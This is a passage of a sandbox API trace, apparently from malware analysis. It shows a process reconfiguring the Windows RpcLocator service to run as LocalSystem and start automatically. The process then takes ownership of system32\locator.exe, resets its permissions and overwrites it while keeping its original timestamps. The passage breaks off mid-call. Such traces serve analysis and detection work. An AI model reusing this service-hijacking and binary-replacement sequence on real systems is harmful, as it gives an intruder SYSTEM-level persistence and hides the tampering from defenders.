[0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.987] RegSetValueExA (in: hKey=0x160, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1de6e98*, cbData=0x195 | out: lpData=0x1de6e98*) returned 0x0 [0257.987] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0257.987] RegSetValueExA (in: hKey=0x160, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeChangeNotifyPrivilege", cbData=0x18 | out: lpData="SeChangeNotifyPrivilege") returned 0x0 [0257.987] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0257.987] RegEnumValueA (in: hKey=0x15c, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.987] RegEnumValueA (in: hKey=0x15c, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.987] RegEnumValueA (in: hKey=0x15c, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.987] RegEnumValueA (in: hKey=0x15c, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.987] RegEnumValueA (in: hKey=0x15c, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.987] RegEnumValueA (in: hKey=0x15c, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.987] RegEnumValueA (in: hKey=0x15c, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.988] RegSetValueExA (in: hKey=0x160, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0257.988] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0257.988] RegSetValueExA (in: hKey=0x160, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0257.988] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.988] RegEnumValueA (in: hKey=0x15c, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.989] RegSetValueExA (in: hKey=0x160, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0257.989] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0257.989] RegSetValueExA (in: hKey=0x160, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.989] RegEnumValueA (in: hKey=0x15c, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.992] RegEnumValueA (in: hKey=0x15c, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.992] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\system32\\locator.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x21 [0257.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4648 [0257.993] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\system32\\locator.exe", lpDst=0x1de4648, nSize=0x21 | out: lpDst="C:\\Windows\\system32\\locator.exe") returned 0x20 [0257.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0257.993] RegSetValueExA (in: hKey=0x160, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0257.993] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5c8d90*="C:\\Windows\\system32\\locator.exe" [0257.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0257.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3e8 [0257.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0257.993] LocalFree (hMem=0x5c8d90) returned 0x0 [0257.993] RegSetValueExA (in: hKey=0x160, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0257.993] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x5d6d08 [0257.993] ChangeServiceConfigW (in: hService=0x5d6d08, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0258.011] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d458) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d438) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0258.011] RegCloseKey (hKey=0x160) returned 0x0 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0258.011] RegCloseKey (hKey=0x15c) returned 0x0 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0258.011] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0258.011] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1 [0258.012] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0258.012] GetLastError () returned 0x5 [0258.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0258.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0258.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0258.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0258.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0258.012] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0258.012] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0258.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0258.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0258.012] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0258.012] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\locator.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\locator.exe", lpProcessInformation=0x18fbc0*(hProcess=0x160, hThread=0x15c, dwProcessId=0x328, dwThreadId=0x4c8)) returned 1 [0258.022] NtClose (Handle=0x15c) returned 0x0 [0258.022] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0258.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0258.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0258.023] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0258.023] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0258.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0258.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0258.023] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0258.023] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0258.023] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x2710) returned 0x0 [0258.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0258.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0258.198] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0258.198] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\locator.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\locator.exe /reset", lpProcessInformation=0x18fbc0*(hProcess=0xc8, hThread=0x15c, dwProcessId=0x64c, dwThreadId=0x678)) returned 1 [0258.206] NtClose (Handle=0x15c) returned 0x0 [0258.206] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0258.206] NtClose (Handle=0x160) returned 0x0 [0258.206] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x2710) returned 0x0 [0258.340] NtClose (Handle=0xc8) returned 0x0 [0258.340] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0258.340] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0258.340] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0258.340] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1 [0258.341] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0258.341] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0258.341] GetFileSize (in: hFile=0xc8, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x2800 [0258.341] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0258.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1de6e98 [0258.341] ReadFile (in: hFile=0xc8, lpBuffer=0x1de6e98, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1de6e98*, lpNumberOfBytesRead=0x18fc58*=0x2800, lpOverlapped=0x0) returned 1 [0258.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1de96a0 [0258.342] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0258.342] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0258.343] WriteFile (in: hFile=0xc8, lpBuffer=0x1e00ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e00ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0258.344] SetEndOfFile (hFile=0xc8) returned 1 [0258.345] GetFileTime (in: hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0xe5bc74a0, dwHighDateTime=0x1ca0423)) returned 1 [0258.345] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0258.345] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0258.345] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, 